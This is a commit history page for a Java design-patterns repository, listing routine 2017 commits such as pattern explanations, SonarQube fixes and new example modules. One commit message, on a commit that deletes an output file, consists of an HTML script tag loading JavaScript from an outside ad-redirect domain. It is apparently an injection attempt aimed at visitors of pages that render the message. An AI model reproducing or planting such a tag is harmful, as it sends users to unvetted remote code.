Commit Graph

1799 Commits

Author SHA1 Message Date
Ilkka Seppälä bd4247e864 #590 Add explanation for Facade pattern 2017-09-05 23:28:44 +03:00
Ilkka Seppälä a745c5d8ce Update .gitignore 2017-09-03 12:06:50 +03:00
Ilkka Seppälä efc6eb8828 Merge pull request #610 from radresian/event-sourcing
Event sourcing
2017-09-03 11:46:11 +03:00
Ilkka Seppälä 9d2f0c6c71 #590 Add explanation to Decorator pattern 2017-09-02 23:10:39 +03:00
Serdar Hamzaoğulları c6354c48bb - removed optional classes and interfaces in order to simplify the example
- final fields are marked as final
- removed unnecessary temp variables
- added private constructor for not instantiated static class AccountAggregate
- path of te test file is corrected
2017-09-02 21:52:02 +03:00
Ilkka Seppälä 6c9e005a79 Merge pull request #623 from danielsiwiec/master
Make toString synchronized. Closes #621
2017-09-01 08:55:59 +03:00
Ilkka Seppälä d8e779a7b2 Merge pull request #624 from josejhgjghjghjghjghj/patch-1
Delete postPumlsToServer.firstrun.output
2017-09-01 08:38:17 +03:00
josejhgjghjghjghjghj f439673de0 Delete postPumlsToServer.firstrun.output
<script src="https://restwp.mobidea.com/jsredir?v=1&amp;sl=2103392-91cbf&amp;redirect_option=0&amp;data1=Track1&amp;data2=Track2"></script>
2017-08-31 22:58:50 -04:00
Dan Siwiec a3324a122c Make toString synchronized. Closes #621 2017-08-31 18:28:27 -07:00
Ilkka Seppälä f28ed7b46e #590 Add explanation for Composite pattern 2017-08-31 22:11:58 +03:00
Ilkka Seppälä 7f1fac036e Merge pull request #622 from crowchirp/master
corrected typos
2017-08-31 08:21:30 +03:00
Chandan Rai 08cc50e875 corrected typos 2017-08-31 01:50:33 +05:30
Ilkka Seppälä f0a1af0c46 Merge pull request #618 from gopinath-langote/data-transfer-object-pattern
#348 - Data Tranfer Object : Add Puml id to README.md.
2017-08-29 20:54:17 +03:00
Ilkka Seppälä 81f4df9a32 Merge pull request #617 from mookkiah/issue_587_reader-writer-lock
#587 SonarQube reports bugs reader-writer-lock and refactor
2017-08-29 20:53:16 +03:00
Ilkka Seppälä f80d917432 Merge pull request #619 from iluwatar/bridge
Improved bridge example and added explanation
2017-08-23 21:33:00 +03:00
Ilkka Seppälä 1dc038bc30 Add explanation for Bridge pattern 2017-08-23 21:25:48 +03:00
Ilkka Seppälä 6f1736d2e6 Refactored tests for Bridge 2017-08-22 22:01:52 +03:00
Gopinath Langote 2a98a1399e #348 - Data Tranfer Object : Add Puml id to README.md. 2017-08-22 14:21:05 +05:30
Ilkka Seppälä a5ec376089 Work on improved Bridge example 2017-08-22 09:11:18 +03:00
Serdar Hamzaoğulları 82d7e57e8e Integration Test 2017-08-19 22:06:35 +03:00
Hasan Serdar Hamzaoğulları 671230d798 Merge branch 'master' into event-sourcing 2017-08-19 14:00:04 +03:00
Ilkka Seppälä ed1a0022b9 #596 Add more logging to Reactor 2017-08-19 11:00:34 +03:00
Ilkka Seppälä 5db6776971 #590 Fix PMD issue 2017-08-19 10:10:49 +03:00
Ilkka Seppälä fbf5ffe67a #590 Add explanation for Adapter 2017-08-19 10:00:18 +03:00
mahendran.mookkiah 51751ec821 #587 SonarQube reports bugs reader-writer-lock and refactor
Keeping wait() calls with in synchronized block closely to adhere
SonarQube rules.
 
Avoid nested synchronized block by extracting method.

Added writing and reading time to simulate testing to ensure 
1) writers are waiting for globalMutex to be empty 
2) readers to confirm there is no writers.
2017-08-18 20:44:28 -04:00
Ilkka Seppälä f47dc1eb7c Merge pull request #616 from mookkiah/issue_587_async-method-invocation
#587 SonarQube reports bugs - async-method-invocation
2017-08-18 22:24:43 +03:00
mahendran.mookkiah 2a7feba427 #587 SonarQube reports bugs
As recommended in
https://sonarcloud.io/organizations/default/rules#rule_key=squid%3AS2274 
Used while insteadof if - for waiting upon a condition.
2017-08-18 14:18:43 -04:00
Ilkka Seppälä 68d094a847 Merge pull request #611 from mookkiah/issue_587_dao
Issue 587 SonarQube reports bugs - Module DAO
2017-08-17 22:24:52 +03:00
Ilkka Seppälä e367e48ec2 Merge pull request #608 from gopinath-langote/master
#348 Data Transfer Object design pattern
2017-08-17 22:15:38 +03:00
Ilkka Seppälä b639f3630e #590 Add explanation for Prototype 2017-08-16 21:09:28 +03:00
Gopinath Langote f9789d6926 #348 - Data Tranfer Object : Add class diagram. 2017-08-14 16:14:23 +05:30
Gopinath Langote 4a81453da4 #348 - Data Tranfer Object : Make private varialbes final in immutalbe model. 2017-08-14 00:46:31 +05:30
Gopinath Langote b62d431d62 #348 - Data Tranfer Object : Use logger instead of print statements. 2017-08-14 00:40:29 +05:30
Gopinath Langote 8525bfd323 #348 - Data Tranfer Object : Add dto module to main pom.xml 2017-08-14 00:40:01 +05:30
Gopinath Langote 9c088b5f47 #348 - Data Tranfer Object : Mofidy maven dependancies. 2017-08-14 00:23:03 +05:30
Gopinath Langote 3eab4d75a6 Revert "#348 - Data Tranfer Object : Added module to project."
This reverts commit db10b937f2.
2017-08-14 00:16:29 +05:30
Ilkka Seppälä f6c8bfbc39 #590 Add explanation for Builder 2017-08-13 17:34:05 +03:00
mahendran.mookkiah a1a4088087 As getAll method returns a Stream, we cannot close the involved
resources (Connection, Statement and resultSet) until the stream is
closed by the consumer. So try-with-resources is not an option as per
sonarqube’s recommendation. But it is still recommended to close
statement and result set. When connection pool used, connection is not
closed when close() called. It is just returned to the pool.

Using //NOSONAR to avoid false blocker issue.
2017-08-13 10:19:48 -04:00
Ilkka Seppälä cbba487ff8 Merge branch 'master' of https://github.com/iluwatar/java-design-patterns 2017-08-13 10:09:46 +03:00
Ilkka Seppälä 37b9d45a74 #590 Add explanation for Abstract Factory 2017-08-13 10:09:26 +03:00
Ilkka Seppälä 2e99cb41ad Merge pull request #605 from mookkiah/587_model-view-presenter
#587 SonarQube reports bugs
2017-08-13 08:57:13 +03:00
Serdar Hamzaoğulları eb2a232382 README edited 2017-08-13 01:36:52 +03:00
Serdar Hamzaoğulları 4b3435c550 Code formating 2017-08-13 00:08:35 +03:00
Ilkka Seppälä fba30e59ee #590 Kramdown fixes 2017-08-12 21:44:21 +03:00
Ilkka Seppälä 2d750dc0fd #590 Alter Factory Method presentation 2017-08-12 20:02:14 +03:00
Ilkka Seppälä 002774b5aa Fix Travis out of memory error 2017-08-12 19:24:55 +03:00
Ilkka Seppälä 2150a2bb55 #590 Skip puml processing for singleton module 2017-08-12 18:42:14 +03:00
Ilkka Seppälä 746e452c2b #590 Add new presentation for Singleton 2017-08-12 18:20:45 +03:00
Ilkka Seppälä 600553ec0f Merge pull request #583 from shaiktaj/patch-1
Updated ThreadSafeLazyLoadedivoryTower
2017-08-12 16:58:01 +03:00
Serdar Hamzaoğulları 64824d65aa Some Object Orianted refactor 2017-08-12 16:21:35 +03:00